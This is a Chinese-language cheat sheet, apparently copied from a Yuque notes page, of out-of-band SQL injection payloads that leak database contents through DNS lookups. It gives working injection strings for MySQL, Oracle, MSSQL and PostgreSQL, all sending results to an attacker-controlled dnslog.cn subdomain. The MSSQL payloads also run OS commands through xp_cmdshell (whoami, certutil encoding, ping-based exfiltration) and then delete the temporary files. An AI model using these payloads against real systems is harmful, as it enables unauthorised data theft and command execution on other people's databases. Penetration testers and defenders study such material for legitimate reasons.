DNS外带数据之SQL注入

注意点

• dns 查询有长度限制，所以当查询结果数据过长时需要截断
• 特殊符号，如@，一般先编码后再带出

mysql

条件：

• Windows
• mysql.ini 中 secure_file_priv 必须为空，select @@secure_file_priv
• 适用于联合注入或堆叠注入
  具体：

利用 mysql (Windows 适用)中的 load_file() 函数
select load_file(concat("\\\\",version(),".1ndex.dnslog.cn//1ndex.txt"));

当查询的数据中有特殊符号时，可使用 hex() 函数外带，数据过长不行
select load_file(concat("\\\\",hex(version()),".qbhqxd.dnslog.cn//1ndex.txt"));

oracle

条件：适用于联合注入或堆叠注入
可用函数：

● UTL_HTTP.REQUEST()
SELECT UTL_HTTP.REQUEST((SELECT * from v$version)||'.1ndex.dnslog.cn') FROM sys.DUAL;

● DBMS_LDAP.INIT()
SELECT DBMS_LDAP.INIT((SELECT * from v$version)||'.1ndex.dnslog.cn',80) FROM sys.DUAL;

● HTTPURITYPE()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;

● UTL_INADDR.GET_HOST_ADDRESS()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;

mssql

条件：Windows、适用于堆叠注入

id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');

id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_fileexist "\'%2b@host%2b'\foobar$"');

id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_subdirs "\'%2b@host%2b'\foobar$"');

exec master..xp_cmdshell  "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";

exec master..xp_cmdshell  "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.dnslog.cn %26%26 ping !FINAL!""";

exec master..xp_cmdshell  "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";

postgreSQL

条件：Windows、适用于堆叠注入

id=1;DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select version()); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.1ndex.dnslog.cn\\\\aaa.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function();

开启 db_link 扩展：

id=1;CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(SELECT version())||'.1ndex.dnslog.cn username=1ndex password=1ndex','SELECT 1ndex') RETURNS (result TEXT);

更新: 2023-04-23 21:40:17
原文: https://www.yuque.com/yuqueyonghuwrqimt/kmabi0/bggpot